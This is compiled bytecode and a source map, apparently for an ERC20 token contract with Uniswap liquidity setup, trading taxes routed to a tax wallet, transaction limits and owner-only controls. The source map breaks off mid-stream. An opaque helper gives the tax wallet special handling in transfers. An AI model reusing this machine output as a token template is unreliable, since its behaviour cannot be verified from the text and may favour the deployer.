5b601454600160a01b900460ff16156104735760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610410565b6013546001600160a01b031663f305d71947306104a5816001600160a01b031660009081526001602052604090205490565b6000806104ba6000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610522573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610547919061180d565b505060145460135460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af11580156105a0573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105c4919061183b565b506014805462ff00ff60a01b19166201000160a01b179055565b60006105eb848484610aac565b61063d84336106388560405180606001604052806028815260200161196e602891396001600160a01b038a1660009081526002602090815260408083203384529091529020549190610fe8565b610987565b5060019392505050565b6000546001600160a01b031633146106715760405162461bcd60e51b8152600401610410906117d8565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146106e55760405162461bcd60e51b8152600401610410906117d8565b6106f16009600a6117aa565b6106ff90633b9aca006117b9565b600f5561070e6009600a6117aa565b61071c90633b9aca006117b9565b6010556006805460ff191690557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6107566009600a6117aa565b61076490633b9aca006117b9565b60405190815260200160405180910390a1565b60006103bb338484610aac565b6000546001600160a01b031633146107ae5760405162461bcd60e51b8152600401610410906117d8565b601380546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556107f79030906107e96009600a6117aa565b61063890633b9aca006117b9565b601360009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801561084a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061086e919061185d565b6001600160a01b031663c9c6539630601360009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156108d0573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108f4919061185d565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610941573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610965919061185d565b601480546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b0383166109e95760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610410565b6001600160a01b038216610a4a5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610410565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6001600160a01b038316610b105760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610410565b6001600160a01b038216610b725760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610410565b60008111610bd45760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610410565b601454600160b01b900460ff161580610bf65750601454600160a81b900460ff165b15610ca3576001600160a01b038316600090815260016020526040902054610c1f90829061187a565b6001600160a01b038085166000908152600160205260408082209390935590841681522054610c4f908290611891565b6001600160a01b0380841660008181526001602052604090819020939093559151908516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610a9f9085815260200190565b6000546001600160a01b03848116911614801590610ccf57506000546001600160a01b03838116911614155b15610fcd5760065460ff1615610db9576013546001600160a01b03838116911614801590610d0b57506014546001600160a01b03838116911614155b15610db957326000908152600560205260409020544311610da65760405162461bcd60e51b815260206004820152604960248201527f5f7472616e736665723a3a205472616e736665722044656c617920656e61626c60448201527f65642e20204f6e6c79206f6e652070757263686173652070657220626c6f636b6064820152681030b63637bbb2b21760b91b608482015260a401610410565b3260009081526005602052604090204390555b6014546001600160a01b038481169116148015610de457506013546001600160a01b03838116911614155b8015610e0957506001600160a01b03821660009081526003602052604090205460ff16155b15610ef157600f54811115610e605760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e000000000000006044820152606401610410565b60105481610e83846001600160a01b031660009081526001602052604090205490565b610e8d9190611891565b1115610edb5760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e0000000000006044820152606401610410565b600e8054906000610eeb836118a9565b91905055505b30600090815260016020526040902054601454600160a81b900460ff16158015610f2857506014546001600160a01b038481169116145b8015610f3d5750601454600160b01b900460ff165b8015610f4c5750600d54600e54115b8015610f7157506001600160a01b03841660009081526003602052604090205460ff16155b8015610f9657506001600160a01b03831660009081526003602052604090205460ff16155b15610fcb57601154811115610fc257610fc2610fbd83610fb884601254611022565b611022565b61103a565b610fcb476111b4565b505b610fe3838383610fde8787876111f6565b611245565b505050565b6000818484111561100c5760405162461bcd60e51b81526004016104109190611580565b506000611019848661187a565b95945050505050565b60008183116110315782611033565b815b9392505050565b6014805460ff60a81b1916600160a81b1790556040805160028082526060820183526000926020830190803683370190505090503081600081518110611082576110826118c4565b6001600160a01b03928316602091820292909201810191909152601354604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156110db573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110ff919061185d565b81600181518110611112576111126118c4565b6001600160a01b0392831660209182029290920101526013546111389130911684610987565b60135460405163791ac94760e01b81526001600160a01b039091169063791ac947906111719085906000908690309042906004016118da565b600060405180830381600087803b15801561118b57600080fd5b505af115801561119f573d6000803e3d6000fd5b50506014805460ff60a81b1916905550505050565b6006546040516101009091046001600160a01b0316906108fc8315029083906000818181858888f193505050501580156111f2573d6000803e3d6000fd5b5050565b6000806112038585611410565b1561123d5760016112148482611891565b61121e919061187a565b611229826001611891565b61123391906117b9565b6110199082611891565b949350505050565b6000611273606461126d600b54600e541161126257600754611266565b6009545b869061144f565b906114ce565b6014549091506001600160a01b03858116911614801561129c57506001600160a01b0385163014155b156112c9576112c6606461126d600c54600e54116112bc57600854611266565b600a54869061144f565b90505b801561134457306000908152600160205260409020546112ea908290611891565b30600081815260016020526040908190209290925590516001600160a01b038716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9061133b9085815260200190565b60405180910390a35b6001600160a01b03851660009081526001602052604090205461136890839061187a565b6001600160a01b03861660009081526001602052604090205561138b8382611510565b6001600160a01b0385166000908152600160205260409020546113ae9190611891565b6001600160a01b0380861660008181526001602052604090209290925586167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6113f88685611510565b60405190815260200160405180910390a35050505050565b6006546000906001600160a01b0361010090910481169084168114801561144057506001600160a01b0383163014155b1561063d5760009150506103bf565b60008261145e575060006103bf565b600061146a83856117b9565b905082611477858361194b565b146110335760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610410565b600061103383836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611552565b600061103383836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610fe8565b600081836115735760405162461bcd60e51b81526004016104109190611580565b506000611019848661194b565b600060208083528351808285015260005b818110156115ad57858101830151858201604001528201611591565b818111156115bf576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b03811681146115ea57600080fd5b50565b6000806040838503121561160057600080fd5b823561160b816115d5565b946020939093013593505050565b60008060006060848603121561162e57600080fd5b8335611639816115d5565b92506020840135611649816115d5565b929592945050506040919091013590565b60006020828403121561166c57600080fd5b8135611033816115d5565b6000806040838503121561168a57600080fd5b8235611695816115d5565b915060208301356116a5816115d5565b809150509250929050565b634e487b7160e01b600052601160045260246000fd5b600181815b808511156117015781600019048211156116e7576116e76116b0565b808516156116f457918102915b93841c93908002906116cb565b509250929050565b600082611718575060016103bf565b81611725575060006103bf565b816001811461173b576002811461174557611761565b60019150506103bf565b60ff841115611756576117566116b0565b50506001821b6103bf565b5060208310610133831016604e8410600b8410161715611784575081810a6103bf565b61178e83836116c6565b80600019048211156117a2576117a26116b0565b029392505050565b600061103360ff841683611709565b60008160001904831182151516156117d3576117d36116b0565b500290565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60008060006060848603121561182257600080fd5b8351925060208401519150604084015190509250925092565b60006020828403121561184d57600080fd5b8151801515811461103357600080fd5b60006020828403121561186f57600080fd5b8151611033816115d5565b60008282101561188c5761188c6116b0565b500390565b600082198211156118a4576118a46116b0565b500190565b60006000198214156118bd576118bd6116b0565b5060010190565b634e487b7160e01b600052603260045260246000fd5b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b8181101561192a5784516001600160a01b031683529383019391830191600101611905565b50506001600160a01b03969096166060850152505050608001529392505050565b60008261196857634e487b7160e01b600052601260045260246000fd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122023896329c33bff14ed3ce0a83bb2e282fab2649db67a4eb6830a06175b3ee54464736f6c634300080b0033

4089:9503:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;6466:83;;;;;;;;;;-1:-1:-1;6536:5:0;;;;;;;;;;;;-1:-1:-1;;;6536:5:0;;;;6466:83;;;;;;;:::i;:::-;;;;;;;;7349:186;;;;;;;;;;-1:-1:-1;7349:186:0;;;;;:::i;:::-;;:::i;:::-;;;1237:14:1;;1230:22;1212:41;;1200:2;1185:18;7349:186:0;1072:187:1;5312:55:0;;;;;;;;;;;;;;;;;;;1410:25:1;;;1398:2;1383:18;5312:55:0;1264:177:1;6743:95:0;;;;;;;;;;;;;:::i;11623:478::-;;;;;;;;;;;;;:::i;:::-;;7543:446;;;;;;;;;;-1:-1:-1;7543:446:0;;;;;:::i;:::-;;:::i;6652:83::-;;;;;;;;;;-1:-1:-1;6652:83:0;;4934:1;2049:36:1;;2037:2;2022:18;6652:83:0;1907:184:1;6846:119:0;;;;;;;;;;-1:-1:-1;6846:119:0;;;;;:::i;:::-;-1:-1:-1;;;;;6939:18:0;6912:7;6939:18;;;:9;:18;;;;;;;6846:119;3934:148;;;;;;;;;;;;;:::i;13288:201::-;;;;;;;;;;;;;:::i;5121:56::-;;;;;;;;;;;;;;;;3720:79;;;;;;;;;;-1:-1:-1;3758:7:0;3785:6;3720:79;;-1:-1:-1;;;;;3785:6:0;;;2494:51:1;;2482:2;2467:18;3720:79:0;2348:203:1;5184:58:0;;;;;;;;;;;;;;;;6557:87;;;;;;;;;;-1:-1:-1;6629:7:0;;;;;;;;;;;;-1:-1:-1;;;6629:7:0;;;;6557:87;;6973:192;;;;;;;;;;-1:-1:-1;6973:192:0;;;;;:::i;:::-;;:::i;5249:56::-;;;;;;;;;;;;;;;;4474:40;;;;;;;;;;-1:-1:-1;4474:40:0;;;;;;;;7173:168;;;;;;;;;;-1:-1:-1;7173:168:0;;;;;:::i;:::-;-1:-1:-1;;;;;7306:18:0;;;7279:7;7306:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;7173:168;6071:387;;;;;;;;;;;;;:::i;7349:186::-;7449:4;7466:39;533:10;7489:7;7498:6;7466:8;:39::i;:::-;-1:-1:-1;7523:4:0;7349:186;;;;;:::o;6743:95::-;6796:7;4990:15;4934:1;4990:2;:15;:::i;:::-;4977:28;;:10;:28;:::i;:::-;6816:14;;6743:95;:::o;11623:478::-;3847:6;;-1:-1:-1;;;;;3847:6:0;533:10;3847:22;3839:67;;;;-1:-1:-1;;;3839:67:0;;;;;;;:::i;:::-;;;;;;;;;11680:11:::1;::::0;-1:-1:-1;;;11680:11:0;::::1;;;11679:12;11671:48;;;::::0;-1:-1:-1;;;11671:48:0;;5200:2:1;11671:48:0::1;::::0;::::1;5182:21:1::0;5239:2;5219:18;;;5212:30;5278:25;5258:18;;;5251:53;5321:18;;11671:48:0::1;4998:347:1::0;11671:48:0::1;11730:15;::::0;-1:-1:-1;;;;;11730:15:0::1;:31;11769:21;11814:4;11834:24;11814:4:::0;-1:-1:-1;;;;;6939:18:0;6912:7;6939:18;;;:9;:18;;;;;;;6846:119;11834:24:::1;11873:1;11889::::0;11905:7:::1;3758::::0;3785:6;-1:-1:-1;;;;;3785:6:0;;3720:79;11905:7:::1;11730:223;::::0;::::1;::::0;;;-1:-1:-1;;;;;;11730:223:0;;;-1:-1:-1;;;;;5709:15:1;;;11730:223:0::1;::::0;::::1;5691:34:1::0;5741:18;;;5734:34;;;;5784:18;;;5777:34;;;;5827:18;;;5820:34;5891:15;;;5870:19;;;5863:44;11927:15:0::1;5923:19:1::0;;;5916:35;5625:19;;11730:223:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;11971:13:0::1;::::0;12002:15:::1;::::0;11964:71:::1;::::0;-1:-1:-1;;;11964:71:0;;-1:-1:-1;;;;;12002:15:0;;::::1;11964:71;::::0;::::1;6447:51:1::0;-1:-1:-1;;6514:18:1;;;6507:34;11971:13:0;::::1;::::0;-1:-1:-1;11964:29:0::1;::::0;6420:18:1;;11964:71:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;12046:11:0::1;:18:::0;;-1:-1:-1;;;;12075:18:0;-1:-1:-1;;;12075:18:0;;;11623:478::o;7543:446::-;7675:4;7692:36;7702:6;7710:9;7721:6;7692:9;:36::i;:::-;7739:220;7762:6;533:10;7810:138;7866:6;7810:138;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;7810:19:0;;;;;;:11;:19;;;;;;;;533:10;7810:33;;;;;;;;;;:37;:138::i;:::-;7739:8;:220::i;:::-;-1:-1:-1;7977:4:0;7543:446;;;;;:::o;3934:148::-;3847:6;;-1:-1:-1;;;;;3847:6:0;533:10;3847:22;3839:67;;;;-1:-1:-1;;;3839:67:0;;;;;;;:::i;:::-;4041:1:::1;4025:6:::0;;4004:40:::1;::::0;-1:-1:-1;;;;;4025:6:0;;::::1;::::0;4004:40:::1;::::0;4041:1;;4004:40:::1;4072:1;4055:19:::0;;-1:-1:-1;;;;;;4055:19:0::1;::::0;;3934:148::o;13288:201::-;3847:6;;-1:-1:-1;;;;;3847:6:0;533:10;3847:22;3839:67;;;;-1:-1:-1;;;3839:67:0;;;;;;;:::i;:::-;4990:15:::1;4934:1;4990:2;:15;:::i;:::-;4977:28;::::0;:10:::1;:28;:::i;:::-;13342:12;:22:::0;4990:15:::1;4934:1;4990:2;:15;:::i;:::-;4977:28;::::0;:10:::1;:28;:::i;:::-;13375:14;:24:::0;13410:20:::1;:28:::0;;-1:-1:-1;;13410:28:0::1;::::0;;13454:27:::1;4990:15;4934:1;-1:-1:-1::0;4990:15:0::1;:::i;:::-;4977:28;::::0;:10:::1;:28;:::i;:::-;13454:27;::::0;1410:25:1;;;1398:2;1383:18;13454:27:0::1;;;;;;;13288:201::o:0;6973:192::-;7076:4;7093:42;533:10;7117:9;7128:6;7093:9;:42::i;6071:387::-;3847:6;;-1:-1:-1;;;;;3847:6:0;533:10;3847:22;3839:67;;;;-1:-1:-1;;;3839:67:0;;;;;;;:::i;:::-;6119:15:::1;:104:::0;;-1:-1:-1;;;;;;6119:104:0::1;6170:42;6119:104:::0;;::::1;::::0;;;6234:58:::1;::::0;6251:4:::1;::::0;4990:15:::1;4934:1;4990:2;:15;:::i;:::-;4977:28;::::0;:10:::1;:28;:::i;6234:58::-;6337:15;;;;;;;;;-1:-1:-1::0;;;;;6337:15:0::1;-1:-1:-1::0;;;;;6337:23:0::1;;:25;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;6319:55:0::1;;6397:4;6417:15;;;;;;;;;-1:-1:-1::0;;;;;6417:15:0::1;-1:-1:-1::0;;;;;6417:20:0::1;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;6319:131;::::0;-1:-1:-1;;;;;;6319:131:0::1;::::0;;;;;;-1:-1:-1;;;;;7320:15:1;;;6319:131:0::1;::::0;::::1;7302:34:1::0;7372:15;;7352:18;;;7345:43;7237:18;;6319:131:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;6303:13;:147:::0;;-1:-1:-1;;;;;;6303:147:0::1;-1:-1:-1::0;;;;;6303:147:0;;;::::1;::::0;;;::::1;::::0;;6071:387::o;7997:335::-;-1:-1:-1;;;;;8090:19:0;;8082:68;;;;-1:-1:-1;;;8082:68:0;;7601:2:1;8082:68:0;;;7583:21:1;7640:2;7620:18;;;7613:30;7679:34;7659:18;;;7652:62;-1:-1:-1;;;7730:18:1;;;7723:34;7774:19;;8082:68:0;7399:400:1;8082:68:0;-1:-1:-1;;;;;8169:21:0;;8161:68;;;;-1:-1:-1;;;8161:68:0;;8006:2:1;8161:68:0;;;7988:21:1;8045:2;8025:18;;;8018:30;8084:34;8064:18;;;8057:62;-1:-1:-1;;;8135:18:1;;;8128:32;8177:19;;8161:68:0;7804:398:1;8161:68:0;-1:-1:-1;;;;;8240:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;8292:32;;1410:25:1;;;8292:32:0;;1383:18:1;8292:32:0;;;;;;;;7997:335;;;:::o;9269:2346::-;-1:-1:-1;;;;;9362:18:0;;9354:68;;;;-1:-1:-1;;;9354:68:0;;8409:2:1;9354:68:0;;;8391:21:1;8448:2;8428:18;;;8421:30;8487:34;8467:18;;;8460:62;-1:-1:-1;;;8538:18:1;;;8531:35;8583:19;;9354:68:0;8207:401:1;9354:68:0;-1:-1:-1;;;;;9441:16:0;;9433:64;;;;-1:-1:-1;;;9433:64:0;;8815:2:1;9433:64:0;;;8797:21:1;8854:2;8834:18;;;8827:30;8893:34;8873:18;;;8866:62;-1:-1:-1;;;8944:18:1;;;8937:33;8987:19;;9433:64:0;8613:399:1;9433:64:0;9530:1;9516:11;:15;9508:69;;;;-1:-1:-1;;;9508:69:0;;9219:2:1;9508:69:0;;;9201:21:1;9258:2;9238:18;;;9231:30;9297:34;9277:18;;;9270:62;-1:-1:-1;;;9348:18:1;;;9341:39;9397:19;;9508:69:0;9017:405:1;9508:69:0;9593:11;;-1:-1:-1;;;9593:11:0;;;;9592:12;;:22;;-1:-1:-1;9608:6:0;;-1:-1:-1;;;9608:6:0;;;;9592:22;9588:232;;;-1:-1:-1;;;;;9649:15:0;;;;;;:9;:15;;;;;;:29;;9667:11;;9649:29;:::i;:::-;-1:-1:-1;;;;;9631:15:0;;;;;;;:9;:15;;;;;;:47;;;;9709:13;;;;;;;:27;;9725:11;;9709:27;:::i;:::-;-1:-1:-1;;;;;9693:13:0;;;;;;;:9;:13;;;;;;;:43;;;;9756:31;;;;;;;;;;9775:11;1410:25:1;;1398:2;1383:18;;1264:177;9588:232:0;3758:7;3785:6;-1:-1:-1;;;;;9834:15:0;;;3785:6;;9834:15;;;;:32;;-1:-1:-1;3758:7:0;3785:6;-1:-1:-1;;;;;9853:13:0;;;3785:6;;9853:13;;9834:32;9830:1691;;;9887:20;;;;9883:522;;;9968:15;;-1:-1:-1;;;;;9954:30:0;;;9968:15;;9954:30;;;;:83;;-1:-1:-1;10023:13:0;;-1:-1:-1;;;;;10009:28:0;;;10023:13;;10009:28;;9954:83;9928:462;;;10143:9;10114:39;;;;:28;:39;;;;;;10156:12;-1:-1:-1;10080:213:0;;;;-1:-1:-1;;;10080:213:0;;9892:2:1;10080:213:0;;;9874:21:1;9931:2;9911:18;;;9904:30;9970:34;9950:18;;;9943:62;10041:34;10021:18;;;10014:62;-1:-1:-1;;;10092:19:1;;;10085:40;10142:19;;10080:213:0;9690:477:1;10080:213:0;10345:9;10316:39;;;;:28;:39;;;;;10358:12;10316:54;;9928:462;10451:13;;-1:-1:-1;;;;;10443:21:0;;;10451:13;;10443:21;:72;;;;-1:-1:-1;10499:15:0;;-1:-1:-1;;;;;10485:30:0;;;10499:15;;10485:30;;10443:72;:116;;;;-1:-1:-1;;;;;;10537:22:0;;;;;;:18;:22;;;;;;;;10536:23;10443:116;10421:448;;;10617:12;;10602:11;:27;;10594:65;;;;-1:-1:-1;;;10594:65:0;;10374:2:1;10594:65:0;;;10356:21:1;10413:2;10393:18;;;10386:30;10452:27;10432:18;;;10425:55;10497:18;;10594:65:0;10172:349:1;10594:65:0;10739:14;;10724:11;10708:13;10718:2;-1:-1:-1;;;;;6939:18:0;6912:7;6939:18;;;:9;:18;;;;;;;6846:119;10708:13;:27;;;;:::i;:::-;:45;;10678:145;;;;-1:-1:-1;;;10678:145:0;;10728:2:1;10678:145:0;;;10710:21:1;10767:2;10747:18;;;10740:30;10806:28;10786:18;;;10779:56;10852:18;;10678:145:0;10526:350:1;10678:145:0;10842:9;:11;;;:9;:11;;;:::i;:::-;;;;;;10421:448;10934:4;10885:28;6939:18;;;:9;:18;;;;;;10978:6;;-1:-1:-1;;;10978:6:0;;;;10977:7;:47;;;;-1:-1:-1;11011:13:0;;-1:-1:-1;;;;;11005:19:0;;;11011:13;;11005:19;10977:47;:79;;;;-1:-1:-1;11045:11:0;;-1:-1:-1;;;11045:11:0;;;;10977:79;:130;;;;;11089:18;;11077:9;;:30;10977:130;:176;;;;-1:-1:-1;;;;;;11129:24:0;;;;;;:18;:24;;;;;;;;11128:25;10977:176;:220;;;;-1:-1:-1;;;;;;11175:22:0;;;;;;:18;:22;;;;;;;;11174:23;10977:220;10955:555;;;11258:17;;11235:20;:40;11232:209;;;11299:122;11342:56;11346:11;11359:38;11363:20;11385:11;;11359:3;:38::i;:::-;11342:3;:56::i;:::-;11299:16;:122::i;:::-;11459:35;11472:21;11459:12;:35::i;:::-;9868:1653;9830:1691;11533:74;11548:4;11554:2;11558:11;11571:35;11584:4;11590:2;11594:11;11571:12;:35::i;:::-;11533:14;:74::i;:::-;9269:2346;;;:::o;913:224::-;1033:7;1069:12;1061:6;;;;1053:29;;;;-1:-1:-1;;;1053:29:0;;;;;;;;:::i;:::-;-1:-1:-1;1093:9:0;1105:5;1109:1;1105;:5;:::i;:::-;1093:17;913:224;-1:-1:-1;;;;;913:224:0:o;13173:107::-;13230:7;13262:1;13258;:5;13257:15;;13271:1;13257:15;;;13267:1;13257:15;13250:22;13173:107;-1:-1:-1;;;13173:107:0:o;12146:483::-;5651:6;:13;;-1:-1:-1;;;;5651:13:0;-1:-1:-1;;;5651:13:0;;;12248:16:::1;::::0;;12262:1:::1;12248:16:::0;;;;;::::1;::::0;;-1:-1:-1;;12248:16:0::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;12248:16:0::1;12224:40;;12293:4;12275;12280:1;12275:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;12275:23:0;;::::1;:7;::::0;;::::1;::::0;;;;;;:23;;;;12319:15:::1;::::0;:22:::1;::::0;;-1:-1:-1;;;12319:22:0;;;;:15;;;::::1;::::0;:20:::1;::::0;:22:::1;::::0;;::::1;::::0;12275:7;;12319:22;;;;;:15;:22:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;12309:4;12314:1;12309:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;12309:32:0;;::::1;:7;::::0;;::::1;::::0;;;;;:32;12384:15:::1;::::0;12352:62:::1;::::0;12369:4:::1;::::0;12384:15:::1;12402:11:::0;12352:8:::1;:62::i;:::-;12425:15;::::0;:196:::1;::::0;-1:-1:-1;;;12425:196:0;;-1:-1:-1;;;;;12425:15:0;;::::1;::::0;:66:::1;::::0;:196:::1;::::0;12506:11;;12425:15:::1;::::0;12548:4;;12575::::1;::::0;12595:15:::1;::::0;12425:196:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;-1:-1:-1::0;;5687:6:0;:14;;-1:-1:-1;;;;5687:14:0;;;-1:-1:-1;;;;12146:483:0:o;13497:92::-;13554:10;;:27;;:10;;;;-1:-1:-1;;;;;13554:10:0;;:27;;;;;;;;;;;;:10;:27;;;;;;;;;;;;;;;;;;;;;13497:92;:::o;12637:276::-;12722:7;12742:19;12775:22;12788:4;12794:2;12775:12;:22::i;:::-;12772:105;;;12863:1;12850:10;:6;12863:1;12850:10;:::i;:::-;:14;;;;:::i;:::-;12830:15;:11;12844:1;12830:15;:::i;:::-;12829:36;;;;:::i;:::-;12814:51;;;;:::i;12772:105::-;12894:11;12637:276;-1:-1:-1;;;;12637:276:0:o;8340:921::-;8451:17;8471:110;8577:3;8471:87;8509:15;;8497:9;;:27;8496:61;;8543:14;;8496:61;;;8528:12;;8496:61;8471:6;;:24;:87::i;:::-;:105;;:110::i;:::-;8602:13;;8451:130;;-1:-1:-1;;;;;;8596:19:0;;;8602:13;;8596:19;:44;;;;-1:-1:-1;;;;;;8619:21:0;;8635:4;8619:21;;8596:44;8592:300;;;8669:211;8876:3;8669:184;8733:16;;8721:9;;:28;8720:114;;8819:15;;8720:114;;;8778:13;;8669:6;;:28;:184::i;:211::-;8657:223;;8592:300;8908:13;;8904:169;;8983:4;8965:24;;;;:9;:24;;;;;;:36;;8992:9;;8965:36;:::i;:::-;8956:4;8938:24;;;;:9;:24;;;;;;;:63;;;;9021:40;;-1:-1:-1;;;;;9021:40:0;;;;;;;9051:9;1410:25:1;;1398:2;1383:18;;1264:177;9021:40:0;;;;;;;;8904:169;-1:-1:-1;;;;;9103:15:0;;;;;;:9;:15;;;;;;:29;;9121:11;;9103:29;:::i;:::-;-1:-1:-1;;;;;9085:15:0;;;;;;:9;:15;;;;;:47;9175:21;:6;9186:9;9175:10;:21::i;:::-;-1:-1:-1;;;;;9159:13:0;;;;;;:9;:13;;;;;;:37;;;;:::i;:::-;-1:-1:-1;;;;;9143:13:0;;;;;;;:9;:13;;;;;:53;;;;9212:41;;;9231:21;:6;9242:9;9231:10;:21::i;:::-;9212:41;;1410:25:1;;;1398:2;1383:18;9212:41:0;;;;;;;8436:825;8340:921;;;;:::o;12921:244::-;13029:10;;12996:4;;-1:-1:-1;;;;;13029:10:0;;;;;;;13053:16;;;;:43;;;;-1:-1:-1;;;;;;13073:23:0;;13091:4;13073:23;;13053:43;13050:86;;;13119:5;13112:12;;;;;1145:246;1203:7;1227:6;1223:47;;-1:-1:-1;1257:1:0;1250:8;;1223:47;1280:9;1292:5;1296:1;1292;:5;:::i;:::-;1280:17;-1:-1:-1;1325:1:0;1316:5;1320:1;1280:17;1316:5;:::i;:::-;:10;1308:56;;;;-1:-1:-1;;;1308:56:0;;12694:2:1;1308:56:0;;;12676:21:1;12733:2;12713:18;;;12706:30;12772:34;12752:18;;;12745:62;-1:-1:-1;;;12823:18:1;;;12816:31;12864:19;;1308:56:0;12492:397:1;1399:132:0;1457:7;1484:39;1488:1;1491;1484:39;;;;;;;;;;;;;;;;;:3;:39::i;769:136::-;827:7;854:43;858:1;861;854:43;;;;;;;;;;;;;;;;;:3;:43::i;1539:223::-;1659:7;1694:12;1687:5;1679:28;;;;-1:-1:-1;;;1679:28:0;;;;;;;;:::i;:::-;-1:-1:-1;1718:9:0;1730:5;1734:1;1730;:5;:::i;14:597:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;452:6;449:1;446:13;443:91;;;522:1;517:2;508:6;497:9;493:22;489:31;482:42;443:91;-1:-1:-1;595:2:1;574:15;-1:-1:-1;;570:29:1;555:45;;;;602:2;551:54;;14:597;-1:-1:-1;;;14:597:1:o;616:131::-;-1:-1:-1;;;;;691:31:1;;681:42;;671:70;;737:1;734;727:12;671:70;616:131;:::o;752:315::-;820:6;828;881:2;869:9;860:7;856:23;852:32;849:52;;;897:1;894;887:12;849:52;936:9;923:23;955:31;980:5;955:31;:::i;:::-;1005:5;1057:2;1042:18;;;;1029:32;;-1:-1:-1;;;752:315:1:o;1446:456::-;1523:6;1531;1539;1592:2;1580:9;1571:7;1567:23;1563:32;1560:52;;;1608:1;1605;1598:12;1560:52;1647:9;1634:23;1666:31;1691:5;1666:31;:::i;:::-;1716:5;-1:-1:-1;1773:2:1;1758:18;;1745:32;1786:33;1745:32;1786:33;:::i;:::-;1446:456;;1838:7;;-1:-1:-1;;;1892:2:1;1877:18;;;;1864:32;;1446:456::o;2096:247::-;2155:6;2208:2;2196:9;2187:7;2183:23;2179:32;2176:52;;;2224:1;2221;2214:12;2176:52;2263:9;2250:23;2282:31;2307:5;2282:31;:::i;2556:388::-;2624:6;2632;2685:2;2673:9;2664:7;2660:23;2656:32;2653:52;;;2701:1;2698;2691:12;2653:52;27